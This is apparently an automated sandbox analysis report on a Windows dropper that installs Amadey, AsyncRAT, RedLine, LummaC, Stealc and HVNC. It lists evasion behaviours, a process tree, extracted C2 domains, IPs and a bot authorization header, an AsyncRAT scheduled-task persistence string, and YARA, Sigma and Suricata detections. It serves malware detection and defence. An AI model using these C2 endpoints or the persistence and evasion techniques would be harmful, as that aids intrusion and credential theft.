Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1575153
MD5:	fc3e0787a6e4b444ba49d0e5baacc83c
SHA1:	1f43d2bad7421ee73c590c28639a5085f4839eb4
SHA256:	fe08226acae96e3654b236b2d7a9384d139611265e72d728469d82c9d1d9d150
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, AsyncRAT, HVNC, LummaC Stealer, RedLine, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Benign windows process drops PE files

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Amadeys Clipper DLL

Yara detected Amadeys stealer DLL

Yara detected AsyncRAT

Yara detected HVNC

Yara detected LummaC Stealer

Yara detected RedLine Stealer

Yara detected Stealc

.NET source code contains suspicious base64 encoded strings

.NET source code contains very large strings

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Changes the view of files in windows explorer (hidden files and folders)

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Creates multiple autostart registry keys

Drops password protected ZIP file

Found API chain indicative of debugger detection

Found direct / indirect Syscall (likely to bypass EDR)

Found evasive API chain (may stop execution after checking mutex)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Hides threads from debuggers

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the context of a thread in another process (thread injection)

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses process hollowing technique

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Uncommon Svchost Parent Process

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 6200 cmdline: "C:\Users\user\Desktop\file.exe" MD5: FC3E0787A6E4B444BA49D0E5BAACC83C)

skotes.exe (PID: 3172 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: FC3E0787A6E4B444BA49D0E5BAACC83C)

skotes.exe (PID: 6424 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: FC3E0787A6E4B444BA49D0E5BAACC83C)

skotes.exe (PID: 5396 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: FC3E0787A6E4B444BA49D0E5BAACC83C)

K6UAlAU.exe (PID: 6208 cmdline: "C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe" MD5: A9502D407C7A3E0C43AD669C27638793)

svchost.exe (PID: 6968 cmdline: "C:\Windows\system32\svchost.exe" MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

explorer.exe (PID: 1028 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)

232B06DEE822786254513.exe (PID: 5276 cmdline: "C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe" MD5: A9502D407C7A3E0C43AD669C27638793)

audiodg.exe (PID: 4248 cmdline: "C:\Windows\system32\audiodg.exe" MD5: 627DEA21175691FDE4495877C53B4C87)

svchost.exe (PID: 1524 cmdline: "C:\Windows\system32\svchost.exe" MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

msiexec.exe (PID: 3560 cmdline: "C:\Windows\system32\msiexec.exe" MD5: E5DA170027542E25EDE42FC54C929077)

6737.tmp.fcxcx.exe (PID: 3748 cmdline: "C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe" MD5: F0AAF1B673A9316C4B899CCC4E12D33E)

71C7.tmp.ctx.exe (PID: 3372 cmdline: "C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe" MD5: 4962575A2378D5C72E7A836EA766E2AD)

Gxtuum.exe (PID: 3496 cmdline: "C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe" MD5: 4962575A2378D5C72E7A836EA766E2AD)

79F6.tmp.AsyncClient.exe (PID: 2200 cmdline: "C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe" MD5: DA0C2AB9E92A4D36B177AE380E91FEDA)

232B06DEE822786254513.exe (PID: 5660 cmdline: "C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe" MD5: A9502D407C7A3E0C43AD669C27638793)

svchost.exe (PID: 6108 cmdline: "C:\Windows\system32\svchost.exe" MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

audiodg.exe (PID: 2612 cmdline: "C:\Windows\system32\audiodg.exe" MD5: 627DEA21175691FDE4495877C53B4C87)

msiexec.exe (PID: 516 cmdline: "C:\Windows\system32\msiexec.exe" MD5: E5DA170027542E25EDE42FC54C929077)

861C.tmp.Build.exe (PID: 4204 cmdline: "C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe" MD5: 5890798F97F9144206499433A5DB3011)

explorer.exe (PID: 4140 cmdline: "C:\Windows\explorer.exe" MD5: 662F4F92FDE3557E86D110526BB578D5)

861C.tmp.Build.exe (PID: 7120 cmdline: "C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe" MD5: 5890798F97F9144206499433A5DB3011)

conhost.exe (PID: 180 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

9F33.tmp.cc.exe (PID: 2828 cmdline: "C:\Users\user\AppData\Local\Temp\9F33.tmp.cc.exe" MD5: 99F996079094AD472D9720B2ABD57291)

audiodg.exe (PID: 5788 cmdline: "C:\Windows\system32\audiodg.exe" MD5: 627DEA21175691FDE4495877C53B4C87)

msiexec.exe (PID: 1308 cmdline: "C:\Windows\system32\msiexec.exe" MD5: E5DA170027542E25EDE42FC54C929077)

6c29e572e4.exe (PID: 4592 cmdline: "C:\Users\user\AppData\Local\Temp\1015200001\6c29e572e4.exe" MD5: 2A78CE9F3872F5E591D643459CABE476)

58f855a64b.exe (PID: 2356 cmdline: "C:\Users\user\AppData\Local\Temp\1015201001\58f855a64b.exe" MD5: 3A425626CBD40345F5B8DDDD6B2B9EFA)

ab674664b3.exe (PID: 6452 cmdline: "C:\Users\user\AppData\Local\Temp\1015202001\ab674664b3.exe" MD5: 28E568616A7B792CAC1726DEB77D9039)

conhost.exe (PID: 2792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Gxtuum.exe (PID: 6360 cmdline: C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe MD5: 4962575A2378D5C72E7A836EA766E2AD)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
AsyncRAT	AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victims computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/asyncrat-onenote-dropper https://aidenmitchell.ca/asyncrat-via-vbs/ https://assets.virustotal.com/reports/2021trends.pdf https://axmahr.github.io/posts/asyncrat-detection/ https://blog.checkpoint.com/research/november-2023s-most-wanted-malware-new-asyncrat-campaign-discovered-while-fakeupdates-re-entered-the-top-ten-after-brief-hiatus/	https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat

Name	Description	Attribution	Blogpost URLs	Link
Pandora RAT, Pandora hVNC RAT		No Attribution	https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya https://github.com/AZMagic/Pandora-Hvnc-Hidden-Browser-Real-Vnc-Working-Chromium-Edge-Opera-Gx https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware	https://malpedia.caad.fkie.fraunhofer.de/details/win.pandora_rat

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: LummaC

{"C2 url": ["covery-mover.biz", "se-blurry.biz", "fightlsoser.click", "zinc-sneark.biz", "dwell-exclaim.biz", "formy-spill.biz", "print-vexer.biz", "dare-curbys.biz", "impend-differ.biz"], "Build id": "cMBsTw--Installs"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Threatname: RedLine

{"C2 url": ["185.81.68.147:1912"], "Bot Id": "fvcxcx", "Authorization Header": "c74790bd166600f1f665c8ce201776eb"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
dump.pcap	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0x4da7d2:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0x4dbe3b:$a2: Stub.exe 0x4dbecb:$a2: Stub.exe 0x4d6f21:$a3: get_ActivatePong 0x4daac2:$a4: vmware 0x4da862:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x4d7e5a:$a6: get_SslClient
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0xa257:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0xb638:$a2: Stub.exe 0xb6c8:$a2: Stub.exe 0x6e70:$a3: get_ActivatePong 0xa46f:$a4: vmware 0xa2e7:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x7c8b:$a6: get_SslClient
C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0xa2e9:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\71C7.tmp.ctx.exe	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
C:\Users\user\AppData\Local\Temp\ee29ea508b\Gxtuum.exe	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
Click to see the 2 entries

Memory Dumps

Source	Rule	Description	Author	Strings
0000001A.00000002.3071393183.0000000003FA3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_HVNC	Yara detected HVNC	Joe Security
0000001A.00000002.3071393183.0000000003FA3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000002.3071393183.0000000003FA3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0000001A.00000002.3071393183.0000000003FA3000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x34e4a:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x6e86a:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
0000000B.00000003.2984346806.000000000AA42000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000002.00000003.2076189455.00000000052E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000003.00000003.2074780738.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2044020682.0000000004810000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000015.00000000.2918234862.0000000000F42000.00000002.00000001.01000000.00000012.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000015.00000000.2918234862.0000000000F42000.00000002.00000001.01000000.00000012.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0xa0e9:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
00000003.00000002.2116756890.0000000000B61000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000003.2984519504.000000000AA2D000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
0000000B.00000003.2984519504.000000000AA2D000.00000004.00000001.00020000.00000000.sdmp	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0x9727:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0xab08:$a2: Stub.exe 0xab98:$a2: Stub.exe 0x6340:$a3: get_ActivatePong 0x993f:$a4: vmware 0x97b7:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x715b:$a6: get_SslClient
0000000B.00000003.2984519504.000000000AA2D000.00000004.00000001.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x97b9:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
00000002.00000002.2116623909.0000000000B61000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000011.00000000.2870306752.0000000000932000.00000002.00000001.01000000.0000000E.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000006.00000003.2675046561.00000000048D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2084391579.00000000001B1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: explorer.exe PID: 1028	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: explorer.exe PID: 1028	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: 6737.tmp.fcxcx.exe PID: 3748	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
21.0.79F6.tmp.AsyncClient.exe.f40000.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
21.0.79F6.tmp.AsyncClient.exe.f40000.0.unpack	Windows_Trojan_Asyncrat_11a11ba1	unknown	unknown	0xa257:$a1: /c schtasks /create /f /sc onlogon /rl highest /tn " 0xb638:$a2: Stub.exe 0xb6c8:$a2: Stub.exe 0x6e70:$a3: get_ActivatePong 0xa46f:$a4: vmware 0xa2e7:$a5: \nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS 0x7c8b:$a6: get_SslClient
21.0.79F6.tmp.AsyncClient.exe.f40000.0.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0xa2e9:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
17.0.6737.tmp.fcxcx.exe.930000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
20.2.Gxtuum.exe.6b0000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
20.0.Gxtuum.exe.6b0000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
19.0.Gxtuum.exe.6b0000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
19.2.Gxtuum.exe.6b0000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
18.0.71C7.tmp.ctx.exe.7d0000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
26.2.861C.tmp.Build.exe.3fa3990.0.unpack	JoeSecurity_HVNC	Yara detected HVNC	Joe Security
26.2.861C.tmp.Build.exe.3fa3990.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
26.2.861C.tmp.Build.exe.3fa3990.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
26.2.861C.tmp.Build.exe.3fa3990.0.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x326ba:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
26.2.861C.tmp.Build.exe.3fa3990.0.raw.unpack	JoeSecurity_HVNC	Yara detected HVNC	Joe Security
26.2.861C.tmp.Build.exe.3fa3990.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
26.2.861C.tmp.Build.exe.3fa3990.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
26.2.861C.tmp.Build.exe.3fa3990.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x344ba:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x6deda:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
18.2.71C7.tmp.ctx.exe.7d0000.0.unpack	JoeSecurity_Amadey_3	Yara detected Amadey\'s Clipper DLL	Joe Security
2.2.skotes.exe.b60000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.1b0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.skotes.exe.b60000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 16 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1015203001\9a445eef2c.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 5396, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\9a445eef2c.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1015203001\9a445eef2c.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 5396, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\9a445eef2c.exe

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\system32\svchost.exe", CommandLine: "C:\Windows\system32\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe, ParentProcessId: 6208, ParentProcessName: K6UAlAU.exe, ProcessCommandLine: "C:\Windows\system32\svchost.exe", ProcessId: 6968, ProcessName: svchost.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: "C:\Windows\system32\svchost.exe", CommandLine: "C:\Windows\system32\svchost.exe", CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe, ParentProcessId: 6208, ParentProcessName: K6UAlAU.exe, ProcessCommandLine: "C:\Windows\system32\svchost.exe", ProcessId: 6968, ProcessName: svchost.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:56:53.903384+0100	2028371	3	Unknown Traffic	192.168.2.5	49962	104.21.79.7	443	TCP
2024-12-14T14:56:59.062296+0100	2028371	3	Unknown Traffic	192.168.2.5	49977	23.55.153.106	443	TCP
2024-12-14T14:57:02.234825+0100	2028371	3	Unknown Traffic	192.168.2.5	50009	104.21.35.43	443	TCP
2024-12-14T14:57:06.966423+0100	2028371	3	Unknown Traffic	192.168.2.5	50036	23.55.153.106	443	TCP
2024-12-14T14:57:58.223164+0100	2028371	3	Unknown Traffic	192.168.2.5	50229	104.21.35.43	443	TCP
2024-12-14T14:58:01.869365+0100	2028371	3	Unknown Traffic	192.168.2.5	50233	23.55.153.106	443	TCP

ET MALWARE Generic Request to gate.php Dotted-Quad

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-14T14:56:15.495072+0100	2022986	1	A Network Trojan was detected	192.168.2.5	49845	185.81.68.147	80	TCP
2024-12-14T14:56:15.736302+0100	2022986	1	A Network Trojan was detected	192.168.2.5	49848	185.81.68.147	80	TCP
2024-12-14T14:56:17.505046+0100	2022986	1	A Network Trojan was detected	192.168.2.5	49853	185.81.68.147	80	TCP
2024-12-14T14:56:36.531297+0100	2022986	1	A Network Trojan was detected	192.168.2.5	49906	185.81.68.147	80	TCP
2024-12-14T14:56:38.397120+0100	2022986	1	A Network Trojan was detected	192.168.2.5	49912	185.81.68.147	80	TCP
2024-12-14T14:56:40.101469+0100	2022986	1	A Network Trojan was detected	192.168.2.5	49919	185.81.68.147	80	TCP
2024-12-14T14:56:42.056747+0100	2022986	1	A Network Trojan was detected	192.168.2.5	49925	185.81.68.147	80	TCP
2024-12-14T14:56:43.776229+0100	2022986	1	A Network Trojan was detected	192.168.2.5	49928	185.81.68.147	80	TCP
2024-12-14T14:56:45.506190+0100	2022986	1	A Network Trojan was detected	192.168.2.5	49934	185.81.68.147	80	TCP
2024-12-14T14:56:47.521205+0100	2022986	1	A Network Trojan was detected	192.168.2.5	49943	185.81.68.147	80	TCP
2024-12-14T14:56:49.381296+0100	2022986	1	A Network Trojan was detected	192.168.2.5	49950	185.81.68.147	80	TCP
2024-12-14T14:56:51.463067+0100	2022986	1	A Network Trojan was detected	192.168.2.5	49956	185.81.68.147	80	TCP
2024-12-14T14:56:53.191858+0100	2022986	1	A Network Trojan was detected	192.168.2.5	49963	185.81.68.147	80	TCP
2024-12-14T14:56:55.352779+0100	2022986	1	A Network Trojan was detected	192.168.2.5	49969	185.81.68.147	80	TCP
2024-12-14T14:56:57.306868+0100	2022986	1	A Network Trojan was detected	192.168.2.5	49975	185.81.68.147	80	TCP
2024-12-14T14:56:57.920071+0100	2022986	1	A Network Trojan was detected	192.168.2.5	49978	185.81.68.147	80	TCP
2024-12-14T14:56:57.920183+0100	2022986	1	A Network Trojan was detected	192.168.2.5	49979	185.81.68.147	80	TCP
2024-12-14T14:56:59.295247+0100	2022986	1	A Network Trojan was detected	192.168.2.5	49984	185.81.68.147	80	TCP
2024-12-14T14:57:01.004838+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50007	185.81.68.147	80	TCP
2024-12-14T14:57:03.132837+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50025	185.81.68.147	80	TCP
2024-12-14T14:57:05.040192+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50034	185.81.68.147	80	TCP
2024-12-14T14:57:06.705753+0100	2022986	1	A Network Trojan was detected	192.168.2.5	50038	185.81.68.147	80	TCP
